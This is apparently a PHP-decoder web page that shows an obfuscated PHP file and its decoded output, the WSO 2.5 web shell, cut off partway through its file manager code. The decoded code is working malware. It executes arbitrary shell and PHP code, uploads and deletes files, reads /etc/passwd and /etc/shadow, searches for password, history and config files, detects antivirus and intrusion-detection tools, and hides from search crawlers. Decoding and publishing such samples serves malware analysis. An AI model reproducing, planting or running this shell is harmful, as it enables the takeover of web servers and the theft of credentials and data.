Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

00000.php <?php Error_Reporting(0); $xJdU8NfauOq="5b1rdxrH0igs2Y4kHxzLkmXLlix7EGQmWsu..

Decoded Output download

<?php $auth_pass = "6fbcb8b698317491a5fd7926f2c3b7de";
$color = "#df5";
$default_action = 'fs007';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if (get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
else $os = 'nix';
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) @chdir($_POST['c']);
$cwd = @getcwd();
if ($os == 'win') {
    $home_cwd = str_replace("\", " / ", $home_cwd);
	$cwd = str_replace("\", " / ", $cwd);
}
if($cwd[strlen($cwd) - 1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"ListDirectory" => "dir",
    	"Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
    	"Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
    	"Showactiveconnections" => "netstat - an",
    	"Showrunningservices" => "netstart",
    	"Useraccounts" => "netuser",
    	"Showcomputers" => "netview",
		"ARPTable" => "arp - a",
		"IPConfiguration" => "ipconfig / all"
	);
else
	$aliases = array(
  		"Listdir" => "ls - lha",
		"listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
  		"showopenedports" => "netstat - an | grep - ilisten",
        "processstatus" => "psaux",
		"Find" => "",
  		"findallsuidfiles" => "find / -typef - perm - 04000 - ls",
  		"findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
  		"findallsgidfiles" => "find / -typef - perm - 02000 - ls",
  		"findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
  		"findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
  		"findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    function wsoHeader() {
        if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
        global $color;
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
    var p1_ = '" . ((strpos(@$_POST['p1'], "
") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
    var p2_ = '" . ((strpos(@$_POST['p2'], "
") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
    var p3_ = '" . ((strpos(@$_POST['p3'], "
") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
        if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
        else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(posix_geteuid());
            $gid = @posix_getgrgid(posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0;$i < $n - 1;$i++) {
            $cwd_links.= "<a href='#' onclick='g(\"fs007\",\"";
            for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
            $cwd_links.= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'fs007', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
        if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onClick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
			$drives .= ' < ahref = "#"onClick = "g(\'fs007\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
	}
	echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
                                ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
                                    ':'') . ' < / span > < / td > '
       . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
       . ' < ahref = # onClick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onClick="g(\'fs007\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
                                             . '<td width=1 align=right><nobr><select onChange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
                                        }
                                        function wsoFooter() {
                                            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
                                            echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('fs007',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='fs007'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
                                        }
                                        if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
                                            function posix_getpwuid($p) {
                                                return false;
                                            }
                                        }
                                        if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
                                            function posix_getgrgid($p) {
                                                return false;
                                            }
                                        }
                                        function wsoEx($in) {
                                            $out = '';
                                            if (function_exists('exec')) {
                                                @exec($in, $out);
                                                $out = @join("
", $out);
                                            } elseif (function_exists('passthru')) {
                                                ob_start();
                                                @passthru($in);
                                                $out = ob_get_clean();
                                            } elseif (function_exists('system')) {
                                                ob_start();
                                                @system($in);
                                                $out = ob_get_clean();
                                            } elseif (function_exists('shell_exec')) {
                                                $out = shell_exec($in);
                                            } elseif (is_resource($f = @popen($in, "r"))) {
                                                $out = "";
                                                while ([email protected]($f)) $out.= fread($f, 1024);
                                                pclose($f);
                                            }
                                            return $out;
                                        }
                                        function wsoViewSize($s) {
                                            if (is_int($s)) $s = sprintf("%u", $s);
                                            if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
                                            elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
                                            elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
                                            else return $s . ' B';
                                        }
                                        function wsoPerms($p) {
                                            if (($p & 0xC000) == 0xC000) $i = 's';
                                            elseif (($p & 0xA000) == 0xA000) $i = 'l';
                                            elseif (($p & 0x8000) == 0x8000) $i = '-';
                                            elseif (($p & 0x6000) == 0x6000) $i = 'b';
                                            elseif (($p & 0x4000) == 0x4000) $i = 'd';
                                            elseif (($p & 0x2000) == 0x2000) $i = 'c';
                                            elseif (($p & 0x1000) == 0x1000) $i = 'p';
                                            else $i = 'u';
                                            $i.= (($p & 0x0100) ? 'r' : '-');
                                            $i.= (($p & 0x0080) ? 'w' : '-');
                                            $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
                                            $i.= (($p & 0x0020) ? 'r' : '-');
                                            $i.= (($p & 0x0010) ? 'w' : '-');
                                            $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
                                            $i.= (($p & 0x0004) ? 'r' : '-');
                                            $i.= (($p & 0x0002) ? 'w' : '-');
                                            $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
                                            return $i;
                                        }
                                        function wsoPermsColor($f) {
                                            if ([email protected]_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
                                            elseif ([email protected]_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
                                            else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
                                        }
                                        function wsoScandir($dir) {
                                            if (function_exists("scandir")) {
                                                return scandir($dir);
                                            } else {
                                                $dh = opendir($dir);
                                                while (false !== ($filename = readdir($dh))) $files[] = $filename;
                                                return $files;
                                            }
                                        }
                                        function wsoWhich($p) {
                                            $path = wsoEx('which ' . $p);
                                            if (!empty($path)) return $path;
                                            return false;
                                        }
                                        function actionSecInfo() {
                                            wsoHeader();
                                            echo '<h1>Server security information</h1><div class=content>';
                                            function wsoSecParam($n, $v) {
                                                $v = trim($v);
                                                if ($v) {
                                                    echo '<span>' . $n . ': </span>';
                                                    if (strpos($v, "
") === false) echo $v . '<br>';
                                                    else echo '<pre class=ml1>' . $v . '</pre>';
                                                }
                                            }
                                            wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
                                            if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
                                            wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
                                            wsoSecParam('Open base dir', @ini_get('open_basedir'));
                                            wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
                                            wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
                                            wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
                                            $temp = array();
                                            if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
                                            if (function_exists('mssql_connect')) $temp[] = "MSSQL";
                                            if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
                                            if (function_exists('oci_connect')) $temp[] = "Oracle";
                                            wsoSecParam('Supported databases', implode(', ', $temp));
                                            echo '<br>';
                                            if ($GLOBALS['os'] == 'nix') {
                                                wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                                                wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                                                wsoSecParam('OS version', @file_get_contents('/proc/version'));
                                                wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                                                if (!$GLOBALS['safe_mode']) {
                                                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                                                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                                                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                                                    echo '<br>';
                                                    $temp = array();
                                                    foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Userful', implode(', ', $temp));
                                                    $temp = array();
                                                    foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Danger', implode(', ', $temp));
                                                    $temp = array();
                                                    foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Downloaders', implode(', ', $temp));
                                                    echo '<br/>';
                                                    wsoSecParam('HDD space', wsoEx('df -h'));
                                                    wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                                                    echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                                                    if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                                                        $temp = "";
                                                        for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                                                            $uid = @posix_getpwuid($_POST['p2']);
                                                            if ($uid) $temp.= join(':', $uid) . "
";
                                                        }
                                                        echo '<br/>';
                                                        wsoSecParam('Users', $temp);
                                                    }
                                                }
                                            } else {
                                                wsoSecParam('OS Version', wsoEx('ver'));
                                                wsoSecParam('Account Settings', wsoEx('net accounts'));
                                                wsoSecParam('User Accounts', wsoEx('net user'));
                                            }
                                            echo '</div>';
                                            wsoFooter();
                                        }
                                        function actionPhp() {
                                            if (isset($_POST['ajax'])) {
                                                WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                ob_start();
                                                eval($_POST['p1']);
                                                $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
                                                echo strlen($temp), "
", $temp;
                                                exit;
                                            }
                                            if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                            wsoHeader();
                                            if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
                                                echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
                                                ob_start();
                                                phpinfo();
                                                $tmp = ob_get_clean();
                                                $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
                                                echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
                                            }
                                            echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onSubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
                                            echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
                                            if (!empty($_POST['p1'])) {
                                                ob_start();
                                                eval($_POST['p1']);
                                                echo htmlspecialchars(ob_get_clean());
                                            }
                                            echo '</pre></div>';
                                            wsoFooter();
                                        }
                                        function actionfs007() {
                                            if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
                                            if (!empty($_POST['p1'])) {
                                                switch ($_POST['p1']) {
                                                    case 'uploadFile':
                                                        if ([email protected]_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
                                                        break;
                                                    case 'mkdir':
                                                        if ([email protected]($_POST['p2'])) echo "Can't create new dir";
                                                        break;
                                                    case 'delete':
                                                        function deleteDir($path) {
                                                            $path = (substr($path, -1) == '/') ? $path : $path . '/';
                                                            $dh = opendir($path);
                                                            while (($item = readdir($dh)) !== false) {
                                                                $item = $path . $item;
                                                                if ((basename($item) == "..") || (basename($item) == ".")) continue;
                                                                $type = filetype($item);
                                                                if ($type == "dir") deleteDir($item);
                                                                else @unlink($item);
                                                            }
                                                            closedir($dh);
                                                            @rmdir($path);
                                                        }
                                                        if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
                                                            if ($f == '..') continue;
                                                            $f = urldecode($f);
                                                            if (is_dir($f)) deleteDir($f);
                                                            else @unlink($f);
                                                        }
                                                        break;
                                                    case 'paste':
                                                        if ($_COOKIE['act'] == 'copy') {
                                                            function copy_paste($c, $s, $d) {
                                                                if (is_dir($c . $s)) {
                                                                    mkdir($d . $s);
                                                                    $h = @opendir($c . $s);
                                                                    while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
                                                            }
                                                            foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                                                        } elseif ($_COOKIE['act'] == 'move') {
                                                            function move_paste($c, $s, $d) {
                                                                if (is_dir($c . $s)) {
                                                                    mkdir($d . $s);
                                                                    $h = @opendir($c . $s);
                                                                    while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
                                                            }
                                                            foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                                                        } elseif ($_COOKIE['act'] == 'zip') {
                                                            if (class_exists('ZipArchive')) {
                                                                $zip = new ZipArchive();
                                                                if ($zip->open($_POST['p2'], 1)) {
                                                                    chdir($_COOKIE['c']);
                                                                    foreach ($_COOKIE['f'] as $f) {
                                                                        if ($f == '..') continue;
                                                                        if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
                                                                        elseif (@is_dir($_COOKIE['c'] . $f)) {
                                                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                                                            foreach ($iterator as $key => $value) {
                                                                                $zip->addFile(realpath($key), $key);
                                                                            }
                                                                        }
                                                                    }
                                                                    chdir($GLOBALS['cwd']);
                                                                    $zip->close();
                                                                }
                                                            }
                                                        } elseif ($_COOKIE['act'] == 'unzip') {
                                                            if (class_exists('ZipArchive')) {
                                                                $zip = new ZipArchive();
                                                                foreach ($_COOKIE['f'] as $f) {
                                                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                                                        $zip->extractTo($GLOBALS['cwd']);
                                                                        $zip->close();
                                                                    }
                                                                }
                                                            }
                                                        } elseif ($_COOKIE['act'] == 'tar') {
                                                            chdir($_COOKIE['c']);
                                                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                                                            wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                                                            chdir($GLOBALS['cwd']);
                                                        }
                                                        unset($_COOKIE['f']);
                                                        setcookie('f', '', time() - 3600);
                                                        break;
                                                    default:
                                                        if (!empty($_POST['p1'])) {
                                                            WSOsetcookie('act', $_POST['p1']);
                                                            WSOsetcookie('f', serialize(@$_POST['f']));
                                                            WSOsetcookie('c', @$_POST['c']);
                                                        }
                                                        break;
                                                    }
                                                }
                                                wsoHeader();
                                                echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
                                                $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
                                                if ($dirContent === false) {
                                                    echo 'Can\'t open this folder!';
                                                    wsoFooter();
                                                    return;
                                                }
                                                global $sort;
                                                $sort = array('name', 1);
                                                if (!empty($_POST['p1'])) {
                                                    if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
                                                }
                                                echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"fs007\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"fs007\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"fs007\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"fs007\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
                                                $dirs = $files = array();
                                                $n = count($dirContent);
                                                for ($i = 0;$i < $n;$i++) {
                                                    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                                                    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
